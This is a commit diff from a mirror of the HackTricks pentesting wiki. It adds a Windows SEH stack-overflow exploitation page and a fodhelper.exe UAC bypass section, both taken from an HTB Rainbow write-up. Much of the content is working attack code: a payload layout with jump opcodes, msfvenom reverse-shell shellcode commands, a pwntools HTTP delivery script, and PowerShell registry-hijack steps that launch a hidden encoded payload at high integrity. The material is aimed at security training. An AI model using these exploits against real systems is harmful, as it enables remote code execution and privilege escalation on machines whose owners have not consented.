mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: HTB: Rainbow
- Remove searchindex.js (auto-generated file)
This commit is contained in:
parent
7b609aef63
commit
b3881abe2d
@ -775,6 +775,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
@ -79,6 +79,15 @@ In this scenario the attacker could place a shellcode in the stack and abuse the
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-seh-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
|
||||
@ -202,6 +211,7 @@ Lessons learned:
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
164
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
164
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,164 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation is a classic x86 Windows technique that abuses the Structured Exception Handler chain stored on the stack. When a stack buffer overflow overwrites the two 4-byte fields
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
an attacker can take control of execution by:
|
||||
|
||||
1) Setting SEH to the address of a POP POP RET gadget in a non-protected module, so that when an exception is dispatched the gadget returns into attacker-controlled bytes, and
|
||||
2) Using nSEH to redirect execution (typically a short jump) back into the large overflowing buffer where shellcode resides.
|
||||
|
||||
This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing.
|
||||
|
||||
---
|
||||
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
|
||||
- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
|
||||
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
# or
|
||||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
|
||||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
|
||||
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
|
||||
|
||||
---
|
||||
|
||||
## Choosing a POP POP RET (SEH gadget)
|
||||
|
||||
You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||
|
||||
Pick an address that contains no badchars when written little-endian (e.g., `p32(0x004094D8)`). Prefer gadgets inside the vulnerable binary if protections allow.
|
||||
|
||||
---
|
||||
|
||||
## Jump-back technique (short + near jmp)
|
||||
|
||||
nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
|
||||
|
||||
With nasmshell:
|
||||
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||
EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
|
||||
Layout idea for a 1000-byte payload with nSEH at offset 660:
|
||||
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
|
||||
Execution flow:
|
||||
- Exception occurs, dispatcher uses overwritten SEH.
|
||||
- POP POP RET unwinds into our nSEH.
|
||||
- nSEH executes `jmp short -8` into the 5-byte near jump.
|
||||
- Near jump lands at the beginning of our buffer where the NOP sled + shellcode reside.
|
||||
|
||||
---
|
||||
|
||||
## Bad characters
|
||||
|
||||
Build a full badchar string and compare the stack memory after the crash, removing bytes that are mangled by the target parser. For HTTP-based overflows, `\x00\x0a\x0d` are almost always excluded.
|
||||
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shellcode generation (x86)
|
||||
|
||||
Use msfvenom with your badchars. A small NOP sled helps tolerate landing variance.
|
||||
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
|
||||
If generating on the fly, the hex format is convenient to embed and unhex in Python:
|
||||
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Delivering over HTTP (precise CRLF + Content-Length)
|
||||
|
||||
When the vulnerable vector is an HTTP request body, craft a raw request with exact CRLFs and Content-Length so the server reads the entire overflowing body.
|
||||
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
host, port = "<TARGET_IP>", 8080
|
||||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||
req = f"""POST / HTTP/1.1
|
||||
Host: {host}:{port}
|
||||
User-Agent: curl/8.5.0
|
||||
Accept: */*
|
||||
Content-Length: {len(body)}
|
||||
Connection: close
|
||||
|
||||
""".replace('\n','\r\n').encode() + body
|
||||
p = remote(host, port)
|
||||
p.send(req)
|
||||
print(p.recvall(timeout=0.5))
|
||||
p.close()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Tooling
|
||||
|
||||
- x32dbg/x64dbg to observe SEH chain and triage the crash.
|
||||
- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: `ERC --SEH`.
|
||||
- Mona as an alternative: `!mona modules`, `!mona seh`.
|
||||
- nasmshell to assemble short/near jumps and copy raw opcodes.
|
||||
- pwntools to craft precise network payloads.
|
||||
|
||||
---
|
||||
|
||||
## Notes and caveats
|
||||
|
||||
- Only applies to x86 processes. x64 uses a different SEH scheme and SEH-based exploitation is generally not viable.
|
||||
- Prefer gadgets in modules without SafeSEH and ASLR; otherwise, find an unprotected module loaded into the process.
|
||||
- Service watchdogs that automatically restart on crash can make iterative exploit development easier.
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -173,6 +173,40 @@ Major Minor Build Revision
|
||||
|
||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
The trusted binary `fodhelper.exe` is auto-elevated on modern Windows. When launched, it queries the per-user registry path below without validating the `DelegateExecute` verb. Planting a command there allows a Medium Integrity process (user is in Administrators) to spawn a High Integrity process without a UAC prompt.
|
||||
|
||||
Registry path queried by fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
|
||||
PowerShell steps (set your payload, then trigger):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
|
||||
# 1) Create the vulnerable key and values
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||
|
||||
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||
|
||||
# 3) Trigger auto-elevation
|
||||
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Works when the current user is a member of Administrators and UAC level is default/lenient (not Always Notify with extra restrictions).
|
||||
- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
|
||||
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.
|
||||
|
||||
#### More UAC bypass
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
@ -208,6 +242,12 @@ If you take a look to **UACME** you will note that **most UAC bypasses abuse a D
|
||||
|
||||
Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user